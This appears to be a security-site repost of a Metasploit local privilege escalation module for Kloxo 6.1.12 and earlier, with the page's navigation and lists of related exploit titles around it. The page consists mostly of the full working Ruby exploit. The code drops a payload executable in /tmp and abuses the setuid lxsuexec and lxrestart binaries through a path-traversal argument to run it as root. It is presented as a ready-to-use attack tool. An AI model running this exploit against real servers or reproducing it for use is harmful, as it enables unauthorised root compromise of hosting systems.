首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Kloxo 6.1.12 Privilege Escalation
来源:metasploit.com 作者:HTP 发布时间:2013-05-16  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common
	include Msf::Exploit::FileDropper

	include Msf::Exploit::Local::Linux

	def initialize(info={})
		super(update_info(info, {
			'Name'          => 'Kloxo Local Privilege Escalation',
			'Description'   => %q{
					Version 6.1.12 and earlier of Kloxo contain two setuid root binaries such as
				lxsuexec and lxrestart, allow local privilege escalation to root from uid 48,
				Apache by default on CentOS 5.8, the operating system supported by Kloxo.
				This module has been tested successfully with Kloxo 6.1.12 and 6.1.6.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'HTP', # Original PoC according to exploit-db
					'juan vazquez' # Metasploit module
				],
			'Platform'      => [ 'linux' ],
			'Arch'          => [ ARCH_X86 ],
			'SessionTypes'  => [ 'shell' ],
			'Payload'		=>
				{
					'Space'     => 8000,
					'DisableNops' => true
				},
			'References'    =>
				[
					[ 'EDB', '25406' ],
					[ 'URL', 'http://roothackers.net/showthread.php?tid=92' ] # post referencing the vulnerability and PoC
				],
			'Targets'       =>
				[
					[ 'Kloxo 6.1.12', {} ]
				],
			'DefaultOptions' =>
				{
					'PrependSetuid'    => true
				},
			'DefaultTarget' => 0,
			'Privileged'     => true,
			'DisclosureDate' => "Sep 18 2012"
		}))
	end

	def exploit
		# apache uid (48) is needed in order to abuse the setuid lxsuexec binary
		# .text:0804869D                 call    _getuid
		# .text:080486A2                 cmp     eax, 48
		# .text:080486A5                 jz      short loc_80486B6 // uid == 48 (typically apache on CentOS)
		# .text:080486A7                 mov     [ebp+var_A4], 0Ah
		# .text:080486B1                 jmp     loc_8048B62 // finish if uid != 48
		# .text:08048B62 loc_8048B62:                           ; CODE XREF: main+39j
		#.text:08048B62                                         ; main+B0j
		#.text:08048B62                 mov     eax, [ebp+var_A4]
		#.text:08048B68                 add     esp, 0ECh
		#.text:08048B6E                 pop     ecx
		#.text:08048B6F                 pop     esi
		#.text:08048B70                 pop     edi
		#.text:08048B71                 pop     ebp
		#.text:08048B72                 lea     esp, [ecx-4]
		#.text:08048B75                 retn
		#.text:08048B75 main            endp
		print_status("Checking actual uid...")
		id = cmd_exec("id -u")
		if id != "48"
			fail_with(Exploit::Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this")
		end

		# Write msf payload to /tmp and give provide executable perms
		pl = generate_payload_exe
		payload_path = "/tmp/#{rand_text_alpha(4)}"
		print_status("Writing payload executable (#{pl.length} bytes) to #{payload_path} ...")
		write_file(payload_path, pl)
		register_file_for_cleanup(payload_path)

		# Profit
		print_status("Exploiting...")
		cmd_exec("chmod +x #{payload_path}")
		cmd_exec("LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`")
		cmd_exec("export MUID=$LXLABS")
		cmd_exec("export GID=$LXLABS")
		cmd_exec("export TARGET=/bin/sh")
		cmd_exec("export CHECK_GID=0")
		cmd_exec("export NON_RESIDENT=1")
		helper_path = "/tmp/#{rand_text_alpha(4)}"
		write_file(helper_path, "/usr/sbin/lxrestart '../../..#{payload_path} #'")
		register_file_for_cleanup(helper_path)
		cmd_exec("lxsuexec #{helper_path}")
	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ERS Viewer 2011 ERS File Handl
·Quick Search Version 1.1.0.189
·Avira Personal Privilege Escal
·Serva 32 TFTP 2.1.0 - Buffer O
·Linux PERF_EVENTS Local Root
·SSH User Code Execution
·Kloxo 6.1.6 - Local Privilege
·Mutiny 5 Arbitrary File Upload
·No-IP Dynamic Update Client (D
·Nginx 1.3.9 / 1.4.0 Denial Of
·SAP SOAP RFC SXPG_CALL_SYSTEM
·Glibc 2.11.3 / 2.12.x LD_AUDIT
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved